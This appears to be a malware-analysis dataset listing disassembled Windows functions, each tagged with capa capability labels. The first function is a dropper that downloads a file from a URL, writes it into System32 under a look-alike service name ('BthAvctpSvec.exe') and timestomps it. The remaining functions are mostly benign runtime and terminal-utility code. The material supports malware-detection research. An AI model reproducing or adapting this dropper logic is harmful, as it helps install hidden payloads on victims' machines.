joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001530
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Timestomp file
Write file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x460
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor r14d, r14d
lea rcx, str.n3xxdService
mov rbx, rdx
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
xor r9d, r9d
mov rsi, rax
test rax, rax
jne 0x140001596
lea r8, str.Error
xor ecx, ecx
lea rdx, str.Fallo_al_instalar._Error_0x1
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140001717
mov qword [rsp + 0x28], r14
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x20], 0x80000000
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x1400015e1
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Fallo_al_instalar._Error_0x2
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001717
mov qword [rsp + 0x480], rbp
lea rdx, [0x140004440]
lea rcx, str.C:WindowsSystem32BthAvctpSvec.exe
mov qword [rsp + 0x490], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fileno]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_osfhandle]
mov rbp, rax
test rdi, rdi
jne 0x14000163f
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Fallo_al_instalar._Error_0x3
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400016f5
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000169b
nop dword [rax]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x14000169b
mov r8d, eax
lea rcx, [rsp + 0x50]
mov r9, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001660
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x38], 0xc07e3
lea rcx, [rsp + 0x38]
mov dword [rsp + 0x3e], 0xa0007
mov dword [rsp + 0x42], 8
mov word [rsp + 0x46], r14w
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea r9, [rsp + 0x48]
mov rcx, rbp
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbp, qword [rsp + 0x480]
mov rdi, qword [rsp + 0x490]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140002290
add rsp, 0x460
pop r14
pop rsi
pop rbx
ret
Function at 0x140002cfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002d46
mov ecx, GetSystemTimeAsFileTime
cmp word [rax], cx
jne 0x140002d46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002d46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002d46
cmp dword [rcx + 0x84], 0xe
jbe 0x140002d46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002d48
xor al, al
add rsp, 0x28
ret
Function at 0x140002e00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140004a90
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140004a90
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a0a4]
mov rbx, rcx
test esi, esi
jle 0x140002fa0
mov rax, qword [0x14000a0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002ebb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002f45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002ea0
mov rcx, rbx
call fcn.1400038c0
mov rdi, rax
test rax, rax
je 0x140002fc2
mov rax, qword [0x14000a0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003a00
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002fa7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002f3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002f50
add dword [0x14000a0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002f3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002e00
nop dword [rax]
xor esi, esi
jmp 0x140002ec8
mov rax, qword [0x14000a0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002e00
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002e00
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003530
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a0e0]
test rbx, rbx
je 0x14000358c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003583
test rsi, rsi
je 0x140003583
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003568
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400038c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006b50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400038e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400038e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400038e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000393d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003934
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400038e0
add rax, 0x28
cmp rax, r9
jne 0x140003920
xor eax, eax
ret

Function at 0x140003940
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006b50]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000395f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003968
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000395f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003a00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006b50]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003a1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003a28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1004010c0
Capabilities:
Query environment variable
Terminate process
Write file on windows

Disassembly:
sub rsp, 0x28
call fcn.1004029a0
call sub.msys_2.0.dll___getreent
mov ecx, 0xa
mov rdx, qword [rax + 0x18]
call sub.msys_2.0.dll_fputc
call sub.msys_2.0.dll___getreent
mov rcx, qword [rax + 0x18]
call sub.msys_2.0.dll_fflush
mov ecx, 1
call sub.msys_2.0.dll_exit
nop
nop word cs:[rax + rax]

Function at 0x100401100
Capabilities:
Query environment variable
Terminate process
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [str.tset]
call sub.msys_2.0.dll___getreent
mov r8, rbx
lea rdx, str.Usage:__s__options___terminal__n
mov rcx, qword [rax + 0x18]
call sub.msys_2.0.dll_fprintf
call sub.msys_2.0.dll___getreent
mov r8d, 0x1f4
mov edx, 1
lea rcx, str._nOptions:_n___c__________set_control_characters_n___e_ch_______erase_character_n___I__________no_initialization_strings_n___i_ch_______interrupt_character_n___k_ch_______kill_character_n___m_mapping__map_identifier_to_type_n___Q__________do_not_output_control_key_settings_n___q__________display_term_only__do_no_changes_n___r__________display_term_on_stderr_n___s__________output_TERM_set_command_n___V__________print_curses_version_n___w__________set_window_size_n_nIf_neither__c__w_are_given__both_are_assumed._n
mov r9, qword [rax + 0x18]
call sub.msys_2.0.dll_fwrite
mov ecx, 1
call sub.msys_2.0.dll_exit
nop
nop
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
call sub.msys_2.0.dll___getreent
mov rax, qword [rax + 8]
and word [rax + 0x10], 0xff9f
call sub.msys_2.0.dll___getreent
mov rax, qword [rax + 8]
test byte [rax + 0x10], 0x20
jne 0x10040124e
call sub.msys_2.0.dll___getreent
mov rax, qword [rax + 8]
test byte [rax + 0x10], 0x40
jne 0x10040124e
lea rbx, [section..bss]
test rsi, rsi
je 0x100401204
call sub.msys_2.0.dll___getreent
mov r8, rsi
lea rdx, str.Terminal_type____s_
lea rbx, [section..bss]
mov rcx, qword [rax + 0x18]
call sub.msys_2.0.dll_fprintf
call sub.msys_2.0.dll___getreent
mov rcx, qword [rax + 0x18]
call sub.msys_2.0.dll_fflush
call sub.msys_2.0.dll___getreent
mov edx, 0x100
mov rcx, rbx
mov r8, qword [rax + 8]
call sub.msys_2.0.dll_fgets
test rax, rax
je 0x100401230
mov edx, 0xa
mov rcx, rbx
call sub.msys_2.0.dll_strchr
test rax, rax
je 0x1004011f6
mov byte [rax], 0
cmp byte [section..bss], 0
jne 0x100401240
test rsi, rsi
jne 0x100401235
call sub.msys_2.0.dll___getreent
mov r8d, 0xf
mov edx, 1
lea rcx, str.Terminal_type_
mov r9, qword [rax + 0x18]
call sub.msys_2.0.dll_fwrite
jmp 0x1004011b8
test rsi, rsi
je 0x100401266
mov rax, rsi
add rsp, 0x28
pop rbx
pop rsi
ret
lea rax, [section..bss]
add rsp, 0x28
pop rbx
pop rsi
ret
call sub.msys_2.0.dll___getreent
mov ecx, 0xa
mov rdx, qword [rax + 0x18]
call sub.msys_2.0.dll_fputc
call fcn.1004010c0
call fcn.1004010c0
nop
nop dword [rax]
Function at 0x100401150
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [str.tset]
call sub.msys_2.0.dll___getreent
mov r8, rbx
lea rdx, str.Usage:__s__options___terminal__n
mov rcx, qword [rax + 0x18]
call sub.msys_2.0.dll_fprintf
call sub.msys_2.0.dll___getreent
mov r8d, 0x1f4
mov edx, 1
lea rcx, str._nOptions:_n___c__________set_control_characters_n___e_ch_______erase_character_n___I__________no_initialization_strings_n___i_ch_______interrupt_character_n___k_ch_______kill_character_n___m_mapping__map_identifier_to_type_n___Q__________do_not_output_control_key_settings_n___q__________display_term_only__do_no_changes_n___r__________display_term_on_stderr_n___s__________output_TERM_set_command_n___V__________print_curses_version_n___w__________set_window_size_n_nIf_neither__c__w_are_given__both_are_assumed._n
mov r9, qword [rax + 0x18]
call sub.msys_2.0.dll_fwrite
mov ecx, 1
call sub.msys_2.0.dll_exit
nop
nop
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
call sub.msys_2.0.dll___getreent
mov rax, qword [rax + 8]
and word [rax + 0x10], 0xff9f
call sub.msys_2.0.dll___getreent
mov rax, qword [rax + 8]
test byte [rax + 0x10], 0x20
jne 0x10040124e
call sub.msys_2.0.dll___getreent
mov rax, qword [rax + 8]
test byte [rax + 0x10], 0x40
jne 0x10040124e
lea rbx, [section..bss]
test rsi, rsi
je 0x100401204
call sub.msys_2.0.dll___getreent
mov r8, rsi
lea rdx, str.Terminal_type____s_
lea rbx, [section..bss]
mov rcx, qword [rax + 0x18]
call sub.msys_2.0.dll_fprintf
call sub.msys_2.0.dll___getreent
mov rcx, qword [rax + 0x18]
call sub.msys_2.0.dll_fflush
call sub.msys_2.0.dll___getreent
mov edx, 0x100
mov rcx, rbx
mov r8, qword [rax + 8]
call sub.msys_2.0.dll_fgets
test rax, rax
je 0x100401230
mov edx, 0xa
mov rcx, rbx
call sub.msys_2.0.dll_strchr
test rax, rax
je 0x1004011f6
mov byte [rax], 0
cmp byte [section..bss], 0
jne 0x100401240
test rsi, rsi
jne 0x100401235
call sub.msys_2.0.dll___getreent
mov r8d, 0xf
mov edx, 1
lea rcx, str.Terminal_type_
mov r9, qword [rax + 0x18]
call sub.msys_2.0.dll_fwrite
jmp 0x1004011b8
test rsi, rsi
je 0x100401266
mov rax, rsi
add rsp, 0x28
pop rbx
pop rsi
ret
lea rax, [section..bss]
add rsp, 0x28
pop rbx
pop rsi
ret
call sub.msys_2.0.dll___getreent
mov ecx, 0xa
mov rdx, qword [rax + 0x18]
call sub.msys_2.0.dll_fputc
call fcn.1004010c0
call fcn.1004010c0
nop
nop dword [rax]
Function at 0x100401aa0
Capabilities:
Read file on windows
Terminate process
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rsi, rcx
call sub.msys_2.0.dll___errno
mov ebx, dword [rax]
mov ecx, ebx
call sub.msys_2.0.dll_strerror
mov rdi, rax
mov rax, qword [0x1004057b0]
mov rbp, qword [rax]
call sub.msys_2.0.dll___getreent
mov r9, rsi
lea rdx, [0x100405700]
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x20], rdi
mov r8, rbp
call sub.msys_2.0.dll_fprintf
call fcn.1004029a0
mov rdx, qword [0x100409128]
mov ecx, 0xa
call sub.msys_2.0.dll_fputc
mov rcx, qword [0x100409128]
call sub.msys_2.0.dll_fflush
lea ecx, [rbx + 4]
call sub.msys_2.0.dll_exit
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x100401b20
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x420
mov r14, rcx
test rcx, rcx
je 0x100401bc0
lea rdx, [0x10040570c]
call sub.msys_2.0.dll_fopen
mov r12, rax
test rax, rax
je 0x100401bc5
xor r13d, r13d
lea rsi, [rsp + 0x20]
jmp 0x100401b82
mov r9, qword [0x100409128]
mov r8, rbx
mov edx, 1
mov rcx, rsi
mov r13d, 1
call sub.msys_2.0.dll_fwrite
cmp rax, rbx
jne 0x100401bc5
mov r9, r12
mov r8d, 0x400
mov edx, 1
mov rcx, rsi
call sub.msys_2.0.dll_fread
mov rbx, rax
test rax, rax
jne 0x100401b60
mov rcx, r12
call sub.msys_2.0.dll_fclose
mov eax, r13d
add rsp, 0x420
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
xor r13d, r13d
jmp 0x100401ba8
mov rcx, r14
call fcn.100401aa0
nop
nop
Function at 0x100401bd0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
movsxd r9, r9d
mov rdi, r8
mov r8d, dword [rsp + 0x70]
movzx ebx, byte [r9 + rdx + 0x11]
movzx eax, byte [r9 + rcx + 0x11]
mov ebp, ebx
cmp ebx, eax
jne 0x100401c08
cmp eax, r8d
jne 0x100401c08
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp ebx, eax
lea rsi, [0x10040570e]
lea rax, str.set_to
cmovne rsi, rax
call sub.msys_2.0.dll___getreent
mov r8, rdi
lea rdx, str._s__s
mov rcx, qword [rax + 0x18]
mov r9, rsi
call sub.msys_2.0.dll_fprintf
test ebx, ebx
je 0x100401c98
cmp ebx, 0x7f
je 0x100401d10
mov rax, qword [sym.imp.msys_ncursesw6.dll_cur_term]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x1b8]
test rax, rax
je 0x100401c63
cmp bpl, byte [rax]
je 0x100401ce0
cmp ebx, 0x1f
ja 0x100401cc0
call sub.msys_2.0.dll___getreent
mov ebx, ebp
lea rdx, str.control__c___c_._n
xor ebx, 0x40
mov rcx, qword [rax + 0x18]
movzx ebx, bl
mov r9d, ebx
mov r8d, ebx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp sub.msys_2.0.dll_fprintf
call sub.msys_2.0.dll___getreent
mov r8d, 7
mov edx, 1
lea rcx, str.undef._n
mov r9, qword [rax + 0x18]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp sub.msys_2.0.dll_fwrite
call sub.msys_2.0.dll___getreent
mov r8d, ebx
lea rdx, str._c._n
mov rcx, qword [rax + 0x18]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp sub.msys_2.0.dll_fprintf
cmp byte [rax + 1], 0
jne 0x100401c63
call sub.msys_2.0.dll___getreent
mov r8d, 0xb
mov edx, 1
lea rcx, str.backspace._n
mov r9, qword [rax + 0x18]
jmp 0x100401cb3
call sub.msys_2.0.dll___getreent
mov r8d, 8
mov edx, 1
lea rcx, str.delete._n
mov r9, qword [rax + 0x18]
jmp 0x100401cb3
Function at 0x100402830
Capabilities:
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
mov dword [0x10040918c], 2
mov rbx, rcx
mov esi, edx
mov rdx, rcx
mov ecx, 2
call sub.msys_2.0.dll_tcgetattr
test eax, eax
js 0x1004028a0
movdqu xmm0, xmmword [rbx]
mov byte [0x100409140], 1
movaps xmmword [0x100409160], xmm0
movdqu xmm1, xmmword [rbx + 0x10]
movaps xmmword [0x100409170], xmm1
mov rax, qword [rbx + 0x20]
mov qword [0x100409180], rax
mov eax, dword [rbx + 0x28]
mov dword [0x100409188], eax
mov eax, dword [0x10040918c]
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
mov rdx, rbx
mov ecx, 1
mov dword [0x10040918c], 1
call sub.msys_2.0.dll_tcgetattr
test eax, eax
jns 0x100402857
mov dword [0x10040918c], 0
xor ecx, ecx
mov rdx, rbx
call sub.msys_2.0.dll_tcgetattr
test eax, eax
jns 0x100402857
mov edx, 2
lea rcx, str._dev_tty
call sub.msys_2.0.dll_open
mov dword [0x10040918c], eax
test eax, eax
jns 0x100402910
test sil, sil
jne 0x100402924
call sub.msys_2.0.dll___getreent
mov rcx, qword [rax + 0x10]
call sub.msys_2.0.dll_fileno
mov dword [0x10040918c], eax
jmp 0x10040288f
mov rdx, rbx
mov ecx, eax
call sub.msys_2.0.dll_tcgetattr
test eax, eax
jns 0x100402857
jmp 0x1004028ee
call sub.msys_2.0.dll___errno
mov ebx, dword [rax]
mov ecx, ebx
call sub.msys_2.0.dll_strerror
mov rsi, rax
mov rax, qword [0x1004057b0]
mov rdi, qword [rax]
call sub.msys_2.0.dll___getreent
lea r9, str.terminal_attributes
lea rdx, str._s:__s:__s_n
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x20], rsi
mov r8, rdi
call sub.msys_2.0.dll_fprintf
cmp byte [0x100409140], 0
jne 0x100402987
call sub.msys_2.0.dll___getreent
mov ecx, 0xa
mov rdx, qword [rax + 0x18]
call sub.msys_2.0.dll_fputc
lea ecx, [rbx + 4]
call sub.msys_2.0.dll_exit
mov ecx, dword [0x10040918c]
lea r8, [0x100409160]
mov edx, 3
call fcn.100402cb0
jmp 0x10040296c
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140014fa0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012cb0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012cd0
xor al, al
jmp 0x140012d51
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012ce3
xor al, al
jmp 0x140012d51
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012d0d
xor al, al
jmp 0x140012d51
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012d21
xor al, al
jmp 0x140012d51
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012d33
xor al, al
jmp 0x140012d51
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012d4f
xor al, al
jmp 0x140012d51
mov al, 1
add rsp, 0x38
ret
Function at 0x140028420
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov rbx, qword [rcx + 0x10]
cmp rbx, qword [rcx + 0x18]
je 0x14002845a
mov rax, qword [rdi]
mov qword [rbx], rax
add qword [rsi + 0x10], 8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r15, qword [rsi]
mov r14, qword [rsi + 8]
mov rax, r14
sub rax, r15
jbe 0x1400284b6
sar rax, 3
lea rcx, [rax + 1]
shr rcx, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r12, rax
neg r12
shl rax, 3
mov r15, r14
sub r15, rax
sub rbx, r14
je 0x1400284a5
mov rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.140145a10
mov r14, qword [rsi + 8]
add rbx, r15
mov qword [rsi + 0x10], rbx
lea rax, [r14 + r12*8]
mov qword [rsi + 8], rax
jmp 0x14002843f
mov rax, rbx
sub rax, r15
mov rcx, rax
sar rcx, 2
test rax, rax
mov r13d, 1
cmovne r13, rcx
mov rax, r13
shr rax, 0x3d
jne 0x14002854c
mov r12, r13
shr r12, 2
lea rcx, [r13*8]
call fcn.140142708
lea r9, [rax + r12*8]
lea r8, [rax + r13*8]
mov r10, r9
sub rbx, r14
je 0x140028520
lea r10, [r9 + rbx]
sar rbx, 3
shl rbx, 3
lea r11, [rax + r12*8]
xor edx, edx
mov rcx, qword [r14 + rdx]
mov qword [r11 + rdx], rcx
add rdx, 8
cmp rbx, rdx
jne 0x14002850f
mov qword [rsi], rax
mov qword [rsi + 8], r9
mov qword [rsi + 0x10], r10
mov qword [rsi + 0x18], r8
mov rbx, r10
test r15, r15
je 0x14002843f
mov rcx, r15
call fcn.140142744
mov rbx, qword [rsi + 0x10]
jmp 0x14002843f
call fcn.1401564d0
int3

Function at 0x140028560
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
mov r14, rdx
mov rsi, rcx
mov rbx, qword [rcx + 8]
cmp rbx, qword [rcx]
je 0x14002859d
mov rdi, rbx
mov rax, qword [r14]
mov qword [rdi - 8], rax
add qword [rsi + 8], 0xfffffffffffffff8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r15, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
cmp r15, rax
jae 0x1400285ef
sub rax, r15
sar rax, 3
lea rcx, [rax + 1]
shr rcx, 0x3f
lea r12, [rax + rcx]
inc r12
sar r12, 1
lea rdi, [r15 + r12*8]
mov r8, r15
sub r8, rbx
je 0x1400285e1
sub rdi, r8
mov rcx, rdi
mov rdx, rbx
call fcn.140145a10
mov r15, qword [rsi + 0x10]
mov qword [rsi + 8], rdi
lea rax, [r15 + r12*8]
mov qword [rsi + 0x10], rax
jmp 0x140028581
sub rax, rbx
mov rcx, rax
sar rcx, 2
test rax, rax
mov r13d, 1
cmovne r13, rcx
mov rax, r13
shr rax, 0x3d
jne 0x140028680
lea r12, [r13 + 3]
shr r12, 2
lea rcx, [r13*8]
call fcn.140142708
lea rdi, [rax + r12*8]
lea r8, [rax + r13*8]
mov r9, rdi
sub r15, rbx
je 0x140028657
lea r9, [rdi + r15]
sar r15, 3
shl r15, 3
lea r10, [rax + r12*8]
xor edx, edx
mov rcx, qword [rbx + rdx]
mov qword [r10 + rdx], rcx
add rdx, 8
cmp r15, rdx
jne 0x140028646
mov qword [rsi], rax
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r9
mov qword [rsi + 0x18], r8
test rbx, rbx
je 0x140028581
mov rcx, rbx
call fcn.140142744
mov rdi, qword [rsi + 8]
jmp 0x140028581
call fcn.1401564d0
int3
Function at 0x140029c50
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rsi, rdx
mov edi, ecx
mov rax, qword [0x1402cf018]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r8d, 0x20
call fcn.14015586c
mov ebx, 6
cmp eax, 0x20
jne 0x140029d26
mov ecx, dword [rsi + 8]
mov rbx, qword [sym.imp.WS2_32.dll_ntohl]
call rbx
mov dword [rsi + 8], eax
mov ecx, dword [rsi + 0xc]
call rbx
mov dword [rsi + 0xc], eax
mov ecx, dword [rsi + 0x10]
call rbx
mov dword [rsi + 0x10], eax
mov ecx, dword [rsi + 0x14]
call rbx
mov dword [rsi + 0x14], eax
mov ecx, dword [rsi + 0x18]
call rbx
mov dword [rsi + 0x18], eax
mov ecx, dword [rsi + 0x1c]
call rbx
mov dword [rsi + 0x1c], eax
movaps xmm0, xmmword [0x1402961a0]
lea rdx, [rsp + 0x20]
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
mov ecx, edi
call fcn.140153be8
mov ebx, 6
test eax, eax
jne 0x140029d26
movabs rax, 0x303146464944424d
mov ebx, 8
cmp qword [rsi], rax
jne 0x140029d26
movsxd rax, dword [rsp + 0x34]
cmp rax, 0x20
jb 0x140029d26
add rax, 0xffffffffffffffe0
mov ecx, dword [rsi + 0x14]
sub rax, rcx
jb 0x140029d26
mov ecx, dword [rsi + 0x18]
sub rax, rcx
jb 0x140029d26
mov ecx, dword [rsi + 0x1c]
cmp rax, rcx
jb 0x140029d26
setne al
movzx ebx, al
shl ebx, 3
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140143020
mov eax, ebx
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret